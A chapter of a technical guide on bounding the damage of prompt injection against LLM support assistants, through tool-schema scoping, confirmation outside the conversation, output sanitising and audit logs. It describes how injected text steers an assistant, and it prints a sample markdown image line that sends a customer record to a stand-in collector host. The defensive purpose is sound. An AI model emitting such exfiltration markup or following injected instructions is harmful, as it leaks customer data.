Bounding the blast radius

Every control in this chapter is a blast-radius control: it does not reduce the chance that a model follows text it should not have followed, it reduces what that costs. That is a different engineering problem from prompt wording, and it is the one a security review is actually asking about.

The reframing that makes the rest straightforward is that injections will succeed at some rate, that rate moves when the model changes, and no amount of prompt work drives it to zero. What does not move when the model changes is the set of things the model is able to trigger: the tools you defined, the channels their effects travel over, and the consumers that read what the model wrote. Those are code, they are reviewable, and they are where a bound can actually be established.

Scope the tools until the dangerous parameter does not exist#

Here is a support assistant's tool surface in the shape most teams write first:

[
  {
    "name": "send_email",
    "description": "Send an email.",
    "input_schema": {
      "type": "object",
      "properties": {
        "to":      {"type": "string", "description": "Recipient address"},
        "subject": {"type": "string"},
        "body":    {"type": "string"}
      },
      "required": ["to", "subject", "body"]
    }
  },
  {
    "name": "lookup_customer",
    "description": "Fetch a customer record by ID.",
    "input_schema": {
      "type": "object",
      "properties": {"customer_id": {"type": "string"}},
      "required": ["customer_id"]
    }
  }
]

Both tools take the security-relevant decision as a parameter, which means both hand it to the model, which means both hand it to anyone whose text reaches the model. An injected instruction that names a recipient gets mail sent to that recipient; an injected instruction that names a customer ID gets that record read. Validating the parameter does not help much, because a valid email address is exactly what the attacker supplies.

That last sentence is the one to slow down on, because "add validation" is the first thing a reviewer suggests and it sounds like the responsible answer. Ask what a validator has to work with. It receives a string and a rule, and it can reject strings the rule excludes. For a recipient address the rule available to it is a rule about form: it can insist on an at-sign, a resolvable domain, a length. The attacker's address has all of those, because the attacker owns a real mailbox. What the validator would need in order to help is a rule about entitlement — is this address one this session is allowed to write to — and entitlement is not a property of the string. It is a property of the relationship between the string and the session, which means the check has to consult something the tool call does not carry. Once you are consulting the session to decide the recipient, you have most of the way to not asking the model for it.

The rewrite removes the parameter rather than checking it:

[
  {
    "name": "reply_to_ticket",
    "description": "Send the reply to the customer on the current ticket. The recipient is the ticket's verified contact address and cannot be specified.",
    "input_schema": {
      "type": "object",
      "properties": {"body": {"type": "string"}},
      "required": ["body"]
    }
  },
  {
    "name": "lookup_current_customer",
    "description": "Fetch the record for the customer who owns the current ticket.",
    "input_schema": {"type": "object", "properties": {}}
  }
]

The recipient is now derived server-side from the ticket the session is scoped to, and the customer record is whichever one the session already has authority over. An injection can still make the assistant write a bad reply, which is a content-quality problem with the same shape as any other wrong answer. It cannot make the assistant write to a stranger, because there is no argument in which to put one.

That last clause is the whole of the control, and it is worth connecting to the parsing argument from earlier in this topic, since this is the place where that argument finally works in your favour. A prepared statement is safe because the shape of the statement is fixed before the untrusted value is read, so the value has nowhere to go except a slot that was never going to be executed. The unparameterised tool is the same arrangement with your orchestration code in the role of the parser: the recipient is resolved from the ticket the session is scoped to, by code that runs before the tool call is dispatched and that never reads the model's output when deciding it. An injected instruction naming an address is not rejected. It has nowhere to be written down. The difference between that and a validator is the difference between a value that fails a check and a value that has no field.

It also shows why the schema is a security artefact and not a piece of API ergonomics. The model can call any tool you define, with any values the schema permits, on any input that reaches it — those three facts are the premise of the whole chapter. So the set of things an injection can cause is exactly the set of calls the schemas allow, and narrowing that set is done by editing the schema. A parameter is not a convenience. It is a decision you have delegated to whatever text arrives.

This is the same reasoning as scoping a database role, and it fails in the same way when applied half-heartedly. A reply_to_ticket that accepts an optional cc field has reintroduced the parameter. A lookup_current_customer whose result includes the full contact list of every account under the same parent organisation has reintroduced the read. Work through each tool asking what the worst legitimate-looking call could accomplish, and treat any answer that includes "reach somebody outside this session" as a schema bug.

Some flows genuinely need the broad capability — a support agent really does sometimes have to loop in a third party, and refusing to build that is refusing to build the product. The move there is not to widen reply_to_ticket but to add a second tool that carries the parameter and the gate together: reply_to_ticket stays free and unparameterised, and a separate email_third_party takes a recipient and always goes through the confirmation step below. Splitting them keeps the common path cheap and puts the friction on the one call that can reach outside the session, which is the call worth slowing down. A single tool with a requires_approval flag does the opposite, because the flag is a parameter and the model sets it.

Confirm out of band, and confirm the effect#

Some actions cannot be scoped down to harmlessness — a refund, a data export, a configuration change — and for those the control is a confirmation step the model cannot perform on its own behalf, taken out of band in the sense that it travels over a channel outside the conversation the model is participating in.

Three properties make that gate worth its friction, and each of them is a thing teams get wrong.

The confirmation must render the effect rather than the model's description of the effect. A dialogue that says "Claude wants to: send a refund confirmation to the customer" is showing you a string the model wrote, which an injection can also write. A dialogue that says "Refund $840.00 to account NW-88213, card ending 4417" is showing you fields your own code resolved from the tool call, and an injection that redirects the refund shows up as a different account number in a box the model never touched.

The channel must be one the model does not control. If the assistant renders its own approval UI, or if approval is another turn in the same conversation, the model is on both sides of the gate. Approval belongs in the operator console, a Slack message from your service, an email your system sends — somewhere the request path and the approval path are separate.

The gate must be rare. This is the property that decays, and it decays for organisational reasons rather than technical ones. On one deployment where 38% of actions required approval, the median time from prompt to click went from 4.2 seconds in the first week to 0.8 seconds by the third, which is not a human evaluating a refund amount — it is a human clearing a queue. A gate on one action in fifty is a control; a gate on two in five is a rubber stamp with an audit log, and the audit log will show a human approved the thing that went wrong.

The two latencies are worth converting, because a pair of numbers a second apart does not look like a failure until you say what a second is. Four point two seconds down to zero point eight is a fall of a bit over five times, and the absolute figure is the damning one: eight tenths of a second is about the time it takes to move a hand to a mouse and press. It is not enough time to read an account identifier, let alone check it against a ticket. So the dialogue is still rendering the resolved effect, the audit log is still recording an approval, and the only part of the control that ever did any work — a person comparing what the dialogue says against what they expected — has stopped happening. The mechanism is habituation rather than laziness: two in five actions means the approver's prior, before reading anything, is that this one is fine, and a control whose output is correct almost every time trains the person operating it to stop producing output.

The link between the frequency and the latency is a claim about one deployment, and the right way to hold it is as a measurement to repeat rather than a constant to quote. What transfers is not the pair of figures, which belong to that team and that queue. It is that approval latency is the observable that tells you whether the gate is still a gate, that it is already in your logs, and that it degrades quietly enough to need a threshold and an alert rather than a quarterly look.

Model output is input to whatever runs next#

The third control is the one most often missing, because it does not look like a security control at all. Whatever consumes the model's output — a chat renderer, a shell, a templating layer, a downstream service — is receiving a string that an attacker had partial influence over, and it should treat it the way it would treat a form field.

The canonical version of this costs nothing to demonstrate. An assistant renders markdown in a web client, and the client fetches images. An injection that gets the model to emit a single line accomplishes exfiltration — data leaving the system by a route nobody designed for it to take — with no tool call at all:

![](https://collector.example.net/p?d=BASE64_OF_THE_CUSTOMER_RECORD)

The browser fetches the URL, the data leaves in the query string, and every tool-level control you built is untouched, because no tool was used.

"The browser fetches the URL" is an assertion, and the steps under it are what make this attack inevitable rather than clever. The renderer turns that markdown into an img element and puts it in the page. HTML is a set of build instructions rather than a description of a finished page, and an img element is an instruction the document cannot satisfy on its own: the bytes are not in the document, and until they arrive the browser does not know how much space the image occupies. Layout cannot finish without that. So the fetch is not a feature the browser offers, it is a step the browser has to take, and it takes it as soon as the element is in the page. Nobody clicks anything. Nobody is asked anything. The customer's data is in the query string of that request, and the request goes to the attacker's host by the ordinary operation of rendering a message.

Two consequences follow from where in the chain the fetch sits. It is the insertion of the element that triggers the request, so the only place a control can stand is upstream of insertion, which is why the fix below lives in the renderer and not in a network rule or a review of what the model said. And because no tool call occurs, nothing in the tool-scoping work above sees this at all — the model produced text, which is the outcome the earlier section called the safe one. Text is only safe when the thing reading it does nothing on its own initiative, and a browser is not that thing.

The fix is at the renderer:

ALLOWED_IMAGE_HOSTS = {"cdn.acme-support.com", "assets.acme.com"}

def sanitise_markdown(text: str) -> str:
    def check(match: re.Match) -> str:
        host = urlparse(match.group("url")).hostname or ""
        if host in ALLOWED_IMAGE_HOSTS:
            return match.group(0)
        metrics.increment("output.blocked_image_host", tags=[f"host:{host}"])
        return f"[image from {host} blocked]"

    return IMAGE_MD.sub(check, text)

Note the scope of what that function buys, because an allowlist is easy to over-claim. It governs image URLs that this renderer produces from markdown, and the reason it can govern them is that it runs before the element exists — the same upstream-of-insertion property the paragraphs above identified. It says nothing about a link the user chooses to click, where the fetch is triggered by a person rather than by layout, and nothing about any other element the renderer might emit that also fetches on insertion. The question to make somebody answer, rather than the answer itself, is: which constructs can this renderer produce, and which of those cause a request without a user action? The allowlist covers the ones on that list and no others.

The same principle covers the less exotic paths. Model output going into a shell command needs the same treatment as user input going into a shell command. Model output interpolated into HTML needs escaping. Model output used to build a query needs parameterisation — and here the comparison with a prepared statement finally cuts the right way, because on this side of the system the two-channel guarantee is available and you should be using it.

Read the table as layers rather than alternatives. None of the rows is sufficient and the last row is the only one most teams have.

There is a fourth thing that bounds nothing and is worth building anyway, which is the audit record. Log, alongside every tool call, the identifiers of the chunks that were in context when the model proposed it — retrieval already knows them and assembly usually throws them away. Without that record, an incident investigation starts from a bad outcome and has to reconstruct which of several thousand indexed documents was in the window; with it, the query is one join and the poisoned document is named in a few seconds. It also makes remediation finite. When you find one forged chunk you want to know every request that saw it, which customers received those answers, and whether any of them triggered an action, and all three of those are unanswerable after the fact unless somebody wrote the chunk IDs down at the time.

A passing injection eval is not a closed ticket#

The thirty cases in that suite are the attacks somebody on your team thought of, written by people who share assumptions about what an attack looks like, frozen at the moment they were written. The property a security ticket is asking about concerns the attacks nobody thought of, and no suite of examples can speak to that. Passing it converts an open security question into a green dashboard, and the enforcement still lives in a text predictor's behaviour on unseen input.

That is not an argument against the eval suite, which is worth building and which does two jobs well. It catches regressions: when a model upgrade moves the failure rate from 9% to 34% on your known classes, the suite tells you before your customers do. And it establishes a floor, so that a prompt change which makes a known attack class work again cannot ship silently. Both are real value. Neither is a proof of absence, and the difference between "our tests pass" and "we know the worst case" is the whole of a ticket like SEC-411.

None of this replaces the prompt work#

The framing line is a sevenfold reduction in failure rate for forty tokens, the delimiters are what let you write a boundary test at all, and a system with sound tool scoping and a sloppy prompt still produces wrong answers at a rate its users will notice. The controls here bound the consequence; the prompt work lowers the frequency; you want both.

It is also not "sandbox the model", which sounds like the same idea and is not actionable. A sandbox constrains where code runs. The controls here constrain what an action can name, who has to see it before it leaves, and what consumers do with the text — and every one of them is specific to a tool, a channel, or a renderer in your system.

And it does not remove the confirmation gate's own failure mode, which is human. A gate that fires often enough to become reflex is worse than no gate, because it manufactures the evidence that someone reviewed the action. Watch the median approval latency the way you watch error rates; when it falls below a couple of seconds, the control has stopped working and no code change will tell you.

What the whole arrangement buys is a sentence you can sign. Not "we are safe from prompt injection", which nobody can sign, but a bounded, checkable claim about what a fully successful injection can and cannot cause — derived from schemas a reviewer can read, gates a reviewer can trigger, and allowlists a reviewer can inspect. That claim survives a model upgrade, which is the property that separates it from every number in the eval suite.

That is the security half of structure. The other half is quieter and shows up in every prompt, adversary or not: a long prompt that nobody can navigate is one where a missing rule is invisible, and two engineers can read the same 2,400 tokens and disagree about what it says. That is the next chapter.